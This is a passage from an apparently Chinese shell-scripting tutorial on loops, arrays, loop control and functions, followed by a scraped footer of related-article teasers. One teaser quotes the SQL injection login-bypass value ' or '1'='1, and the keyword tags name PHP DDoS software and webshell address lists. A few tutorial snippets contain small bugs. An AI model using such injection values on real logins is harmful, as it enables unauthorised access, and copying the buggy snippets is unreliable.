      do
        if [ ${#i} -le 6 ];then
           echo "$i" 
        fi
    done

     由 https://home.cnblogs.com/u/1233234   @贰佰  提供

    使用expr 计算字符串长度

    [root@clsn scripts]# expr length '111'
    3

    1.2.6 【练习题6】破解RANDOM随机数案例

      已知下面的字符串是通过RANDOM随机数变量md5sum后,再截取一部分连续字符串的结果,请破解这些字符串对应的使用md5sum处理前的RANDOM对应的数字?

      21029299
      00205d1c
      a3da1677
      1f6d12dd
      890684b

    脚本内容

    [root@clsn for]# vim  pojie.sh 
    #!/bin/bash
    #############################################################
    # File Name: pojie.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-07 22:41:01
    # Description:
    #############################################################
    
    md5File=/tmp/Randow_Md5.txt
    Md5_Word="21029299 00205d1c a3da1677 1f6d12dd 890684b"
    
    if [ ! -f $md5File ]
      then
        >$md5File
        for i in {0..32767}
           do
            echo `echo $i |md5sum` $i  >> $md5File
        done
    else
        for num in $Md5_Word
          do
           grep $num $md5File
        done
    fi

    脚本执行结果

    [root@clsn for]# sh  pojie.sh 
    2102929901ee1aa769d0f479d7d78b05 - 25667
    00205d1cbbeb97738ad5bbdde2a6793d - 1346
    a3da1677501d9e4700ed867c5f33538a - 25345
    1f6d12dd61b5c7523f038a7b966413d9 - 7041
    890684ba3685395c782547daf296935f - 10082

    1.2.7 【练习题7】博客园博文爬虫案例

      获取博客园(惨绿少年)博客列表倒序排序考试题

    需求如下:

      请把https://www.cnblogs.com/clsn/地址中的所有博文,按照时间倒序列表如下:

        2017年12月8日  Shell编程基础篇-下

        http://www.cnblogs.com/clsn/p/8006210.html

        2017年12月7日   memcached 缓存数据库应用实践

        http://www.cnblogs.com/clsn/p/7999510.html

    高级要求:

      生成html页面,并设置超链接。

      结果如改网页展示:http://www.cnblogs.com/clsn/p/8007232.html

    脚本内容:

     View Code 博客园博文爬虫案例

    脚本成网页文件

     

    1.2.7.1  51CTO博客爬虫案例

    脚本内容

     View Code 51CTO博客爬虫

    附 文本编码转码

    [root@clsn for]# iconv --help
    用法: iconv [选项...] [文件...]
    转换给定文件的编码。
    
     输入/输出格式规范:
      -f, --from-code=名称     原始文本编码
      -t, --to-code=名称       输出编码
    
     信息:
      -l, --list                 列举所有已知的字符集
    
     输出控制:
      -c                         从输出中忽略无效的字符
      -o, --output=FILE          输出文件
      -s, --silent               关闭警告
          --verbose              打印进度信息
    
      -?, --help                 给出该系统求助列表
          --usage                给出简要的用法信息
      -V, --version              打印程序版本号
    
    长选项的强制或可选参数对对应的短选项也是强制或可选的

    常用:

     iconv  -f gb2312  -t utf-8 -c  clsn.html

    1.3 while循环语句

    在编程语言中,while循环(英语:while loop)是一种控制流程的陈述。利用一个返回结果为布林值(Boolean)的表达式作为循环条件,当这个表达式的返回值为“真”(true)时,则反复执行循环体内的程式码;若表达式的返回值为“假”(false),则不再执行循环体内的代码,继续执行循环体下面的代码。

             因为while循环在区块内代码被执行之前,先检查陈述是否成立,因此这种控制流程通常被称为是一种前测试循环(pre-test loop)。相对而言do while循环,是在循环区块执行结束之后,再去检查陈述是否成立,被称为是后测试循环。

     

     

    1.3.1 shell中while语法

    while 条件
      do
        命令
    done

    1.3.2 while 使用场景

             多用于创建守护进程

    【示例1】:while实现web服务器搭建

             脚本代码

    [root@clsn scripts]# vim web_view.sh 
    #!/bin/bash
    #############################################################
    # File Name: web_view.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-11 10:07:24
    # Description:
    #############################################################
    while true
      do
      echo "ok" | nc -l 81
    done

      客户端进行访问测试

    [root@clsn html]# curl 10.0.0.180:81
    ok

      服务端显示结果:

    [root@clsn scripts]# sh  web_view.sh 
    GET / HTTP/1.1
    User-Agent: curl/7.29.0
    Host: 10.0.0.180:81
    Accept: */*

    【示例2】:while创建定时任务

             脚本内容:

    #!/bin/bash
    while  true
      do
        uptime
           sleep 0.6
    done

             脚本执行结果

    [root@clsn while]# sh  while1.sh 
     15:01:52 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
     15:01:53 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
     15:01:53 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
     15:01:54 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
     15:01:55 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
     15:01:55 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05

    说明:

             sleep 与 usleep

    sleep 单位 秒  sleep 1 休息1

    usleep 单位 微秒 usleep 1000000 休息1s

    1微秒等于百万分之一秒(10的负6次方秒)

    时间测试

    [root@clsn while]# time sleep 0.1
    
    real    0m0.102s
    user    0m0.001s
    sys    0m0.000s

    1.3.3 while 作用

      补充定时任务功能,执行小于1秒的定时任务

      循环执行某些操作,例如水果菜单

                http://www.cnblogs.com/clsn/p/8006210.html  (1.3.6)

    示例1:使用while循环实现水果菜单的重复使用  

             脚本内容

     View Code 使用while循环实现水果菜单的重复使用

             脚本执行过程

     

    示例2:计算1-100的和

      方法一 (bc命令实现)

    echo `seq -s + 1 100`|bc

      方法二(while循环方法)

    [root@clsn while]# cat jishan.sh 
    #!/bin/bash
    #############################################################
    # File Name: jishan.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-09 15:18:44
    # Description:
    #############################################################
    
    i=1
    
    while [ "$i" -le 100 ]
      do
      ((b=b+i))
      ((i++))
    done
    echo $b

    示例3:实现类似手机通讯计费功能

             脚本内容:

     View Code :实现类似手机通讯计费功能

    1.4 获取取文件中的行,单词和字符

    1.4.1 迭代获取文件中的每一行

    方法一

    while read line;
      do 
        echo $line;
    done < file.txt

    方法二

    cat file.txt|while read line
      do
    echo $line
    done

    方法三

    exec < file.txt
    while read line;
      do
        echo line;
    done

    1.4.2 迭代获取每一个单词

    for word in $line;
      do
        echo $word;
    done 

    1.4.3 迭代获取每一个字符

    word=participate
    for ((i=0;i<${#word};i++))
      do
        echo  ${word:1:1};
    done

    1.4.4 同时获取取文件中的行,单词和字符脚本

    脚本内容

    #!/bin/bash
    n=1
    while read i
      do
       echo "第${n}行 $i"
       m=1
       for x in $i
         do
           echo "第${m}个单词 $x"
           echo $x|grep -o . 
           ((m++))
       done
       ((n++))
    done < $1

    脚本执行结果:

     View Code 1.4.4 同时获取取文件中的行,单词和字符脚本 执行结果

    1.4.5 eval 命令用法

    [root@clsn ~]# clsn=6
    [root@clsn ~]# echo {1..$clsn}
    {1..6}
    [root@clsn ~]# eval echo {1..$clsn}
    1 2 3 4 5 6

       eval 命令的说明

    [root@clsn ~]# help eval
    eval: eval [参数 ...]
        将参数作为 shell 命令执行。
        
        将 ARGs 合成一个字符串,用结果作为 shell 的输入,
        并且执行得到的命令。
        
        退出状态:
        以命令的状态退出,或者在命令为空的情况下返回成功。

    1.5 break continue exit return

    条件与循环控制及程序返回值命令表 

    命令

    说明

    break n   

    如果省略n,则表示跳出整个循环,n表示跳出循环的层数

    continue n

    如果省略n,则表示跳过本次循环,忽略本次循环的剩余代码,进人循环的下一次循环。 n表示退到第n层继续循环

    exit n

    退出当前Shell程序,n为上一次程序执行的状态返回值。n也可以省略,在下一个Shell里可通过"$?"接收exit n的n值

    return n

    用于在函数里作为函数的返回值,以判断函数执行是否正确。在下一个Shell里可通过"$?"接收exit n的n值

    简单来说即:
    break    跳出循环
    continue 跳出本次循环
    exit     退出脚本
    return   与 exit 相同,在函数中使用

    1.5.1 break命令说明

    [root@clsn scripts]# help break 
    break: break [n]
        退出 forwhile、或 until 循环
        
        退出一个 FOR、WHILE 或 UNTIL 循环。如果指定了N,则打破N重
        循环
        
        退出状态:
        退出状态为0除非 N 不大于或等于 1

      测试脚本内容

     View Code break 测试脚本

      脚本执行结果

    [root@clsn scripts]# sh break.sh 
        1
        2
        ok

    1.5.2 continue命令说明

    [root@clsn scripts]# help continue 
    continue: continue [n]
        继续 forwhile、或 until 循环。
        
        继续当前 FOR、WHILE 或 UNTIL 循环的下一步。
        如果指定了 N, 则继续当前的第 N 重循环。
        
        退出状态:
        退出状态为 0 除非 N 不大于或等于1。

      测试脚本内容

     1 #!/bin/bash
     2     for i in {1..5}
     3       do
     4         if [ $i -eq 3 ]
     5           then 
     6             continue
     7         fi
     8         echo $i
     9     done
    10     echo "ok"

      脚本执行结果

    [root@clsn scripts]# sh continue.sh 
    1
    2
    4
    5
    ok

    1.5.3 exit命令说明

    [root@clsn scripts]# help exit
    exit: exit [n]
        退出shell。
        
        以状态 N 退出 shell。  如果 N 被省略,则退出状态
        为最后一个执行的命令的退出状态。

      测试脚本内容

     1     #!/bin/bash
     2     for i in {1..5}
     3       do
     4         if [ $i -eq 3 ]
     5           then 
     6             exit
     7         fi
     8         echo $i
     9     done
    10     echo "ok"

      脚本执行结果

        [root@clsn scripts]# sh exit.sh 
        1
        2

    1.5.4 return命令说明

    [root@clsn tuichu]# help return 
    return: return [n]
        从一个 shell 函数返回。
        
        使一个函数或者被引用的脚本以指定的返回值 N 退出。
        如果 N 被省略,则返回状态就是
        函数或脚本中的最后一个执行的命令的状态。
        
        退出状态:
        返回 N,或者如果 shell 不在执行一个函数或引用脚本时,失败。

    1.6 shell中的数组

    1.6.1 为什么会产生Shell数组

      通常在开发Shell脚本时,定义变量采用的形式为“a=l;b=2;C=3”,可如果有多个 变量呢?这时再逐个地定义就会很费劲,并且要是有多个不确定的变量内容,也会难以 进行变量定义,此外,快速读取不同变量的值也是一件很痛苦的事情,于是数组就诞生 了,它就是为了解决上述问题而出现的。

    1.6.2 什么是Shell数组

      Shell的数组就是一个元素集合,它把有限个元素(变量或字符内容)用一个名字来 命名,然后用编号对它们进行区分。这个名字就称为数组名,用于区分不同内容的编 号就称为数组下标。组成数组的各个元素(变量)称为数组的元素,有时也称为下标变量。

    1.6.3 数组中的增删改查

    数组的定义

    # 定义数组
    [root@clsn scripts]# stu=(001 002 003)
    # 打印数组
    [root@clsn scripts]# echo ${stu[@]}
    001 002 003
    # 显示数组长度
    [root@clsn scripts]# echo ${#stu}
    3

    查: 遍历数组的内容

    # 打印数组内容(通过数组下标或索引)
    [root@clsn scripts]# echo ${stu[0]}
    001
    [root@clsn scripts]# echo ${stu[1]}
    002
    [root@clsn scripts]# echo ${stu[2]}
    003
    [root@clsn scripts]# echo ${stu[3]}
    
    # 遍历数组
      方法一
    [root@clsn scripts]# for i in ${stu[@]};do echo $i ;done 
    001
    002
    003
        # 方法二
    [root@clsn scripts]# array=(1 2 3 4 5)
    [root@clsn scripts]# for i in `eval echo {1..${#array[@]}}`;do echo ${array[i-1]};done
    1
    2
    3
    4
    5

    :数组添加

    [root@clsn scripts]# stu[3]=004
    [root@clsn scripts]# echo ${stu[@]}
    001 002 003 004

    数组修改

    [root@clsn scripts]# stu[2]=000
    [root@clsn scripts]# echo ${stu[@]}
    001 002 000 004

    数组删除

    [root@clsn scripts]# unset stu[2]
    [root@clsn scripts]# echo ${#stu[@]}
    3
    [root@clsn scripts]# echo ${stu[@]}
    001 002 004

    1.6.4 将命令的结果赋值给数组

    dir=(`ls`)
    dir=($(ls))

    命令定义数组

    [root@clsn scripts]# COM=(`ls`)
    [root@clsn scripts]# echo ${COM[@]}
    bianliang.sh case cfb.sh chanshu.sh check check_url.sh 
    clsn.sh clsn_test.sh daojishi.sh ddos_check.sh echo.sh for for2 fruits.sh
    function fz.sh html jingdutiao.sh jishuanqi2.sh jishuanqi.sh lamp.sh lnmp.sh 
    memcache_check.sh menu.sh nginx.sh panduan panduan1 play quanju.sh rsync_check.sh 
    rsyncd system6 tuichu web_check.sh web_view.sh while xiugaizhuji.sh yhk.sh yunshuan.sh 
    zhuajiu.sh

    1.6.1 数组定义格式

    [root@clsn scripts]# a=(1 2 3 )
    [root@clsn scripts]# b=(1
    > 2
    > 3
    > 4
    > )
    [root@clsn scripts]# echo ${a[@]}
    1 2 3
    [root@clsn scripts]# echo ${b[@]}
    1 2 3 4

    1.6.2 数组的本质就是一个变量,只是这个变量存了多个值

    在shell 常用的功能是查

       array=(valuel value2 value3 ...)

    打印数组格式

    ${array[@]} 所有元素
    ${#array[@]}  数组长度
    ${array[i]}  单个元素,i是下标

    1.6.3 【练习题】批量检查多个网站地址是否正常

    要求:

      1、使用shell数组方法实现,检测策略尽量模拟用户访问。

      2、每10秒钟做一次所有的检测,无法访问的输出报警。

      3、待检测的地址如下

        http://www.cnblogs.com/clsn/

        http://blog.znix.top

        http://blog.nmtui.com

        http://10.0.0.7

    脚本内容:

     View Code 批量检查多个网站地址是否正常

    1.7 Shell 函数

      shell一个非常重要的特性是它可作为一种编程语言来使用。因为shell是一个解释器,所以它不能对为它编写的程序进行编译,而是在每次从磁盘加载这些程序时对它们进行解释。而程序的加载和解释都是非常耗时的。

       针对此问题,许多shell(如BourneAgainShell)都包含shell函数,shell把这些函数放在内存中,这样每次需要执行它们时就不必再从磁盘读入。shell还以一种内部格式来存放这些函数,这样就不必耗费大量的时间来解释它们。

             函数的作用就是把程序里多次调用相同代码的部分定义成一份,然后起个名字,所有的调用都 只用这名字就可以了,修改代码时,只需要改变函数体内的代码即可。

    1.7.1 使用函数的优势

       

    展开全文
  • 一、概述 2019年4月26日,Oracle发布官方公告,修复CVE-2019-2725漏洞。该漏洞属于Oracle WebLogic Server中的反序列化漏洞,可导致远程代码执行。... 4月30日,Cisco Talos团队和Unit 42团队同时发布文章,监测到...
  • 1.SQL注入攻击 攻击者在HTTP请求中注入恶意的SQL代码,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。 用户登录,输入用户名 xxxxx,密码 ‘ or ‘1’=’1 ,如果此时使用参数构造的...
  • Scanners-Box是来自github平台的开源扫描仪的集合,包括子域枚举,数据库漏洞扫描程序,弱密码或信息泄漏扫描仪,端口扫描仪,指纹扫描仪和其他大型扫描仪,模块化扫描仪等。对于其他众所周知的扫描工具,如:Nmap,...
  • 基于机器学习的攻击检测(一)

    千次阅读 2019-03-08 21:39:26
    基于机器学习的攻击检测(一) ReLuQ 我们经历了admin/123456随便入的年代,经历了sql注入,XSS满天飞的年代,经历了反序列化,RCE批量刷的年代,直至今日,这些安全风险仍然存在并威胁着大量的网站系统。 ----...
  • JAVA上百实例源码以及开源项目

    千次下载 热门讨论 2020-07-29 17:18:24
     Java 3DMenu 界面源码,有人说用到游戏中不错,其实平时我信编写Java应用程序时候也能用到吧,不一定非要局限于游戏吧,RES、SRC资源都有,都在压缩包内。 Java zip压缩包查看程序源码 1个目标文件 摘要:Java源码...
  • 作者: 爱月这是爱月在配置学校内部下载站服务器时候做的笔记 参考了张宴大大和wangyu1314的教程,结合自己的实际情况写出的笔记 一来记录下来未来如果需要还可以用到 二来分享给大家,笔记里的部分初级内容上面所...
  • 开源漏洞扫描器合集

    万次阅读 2018-06-14 17:02:29
    (此文为转载的文章,现将原地址贴出如下:http://blog.csdn.net/mypc2010/article/details/77679760) https://github.com/Canbing007/wukong-agentpython redis awvs api nessus api=========================...
  • Shell编程进阶篇

    2019-06-21 21:17:14
    Shell编程进阶篇   1.1 for循环语句 在计算机科学中,for循环(英语:for loop)是一种编程语言的迭代陈述,能够让程式码反复的执行。 它跟其他的循环,如while循环,最大的不同,是它...
  • 这些天分享了很多系统安全和软件安全的知识,接下来让我们回归网络安全,做做XSS跨站脚本攻击案例。这些题目来自Fox好友,在此感谢他。主要内容包括XSS原理、不同类型的XSS、XSS靶场9道题目、如何防御XSS。希望您...
1 2 3 4 5 ... 20
收藏数 705
精华内容 282
热门标签
关键字:

phpddos攻击软件+shell资源扫描器+上万条shell地址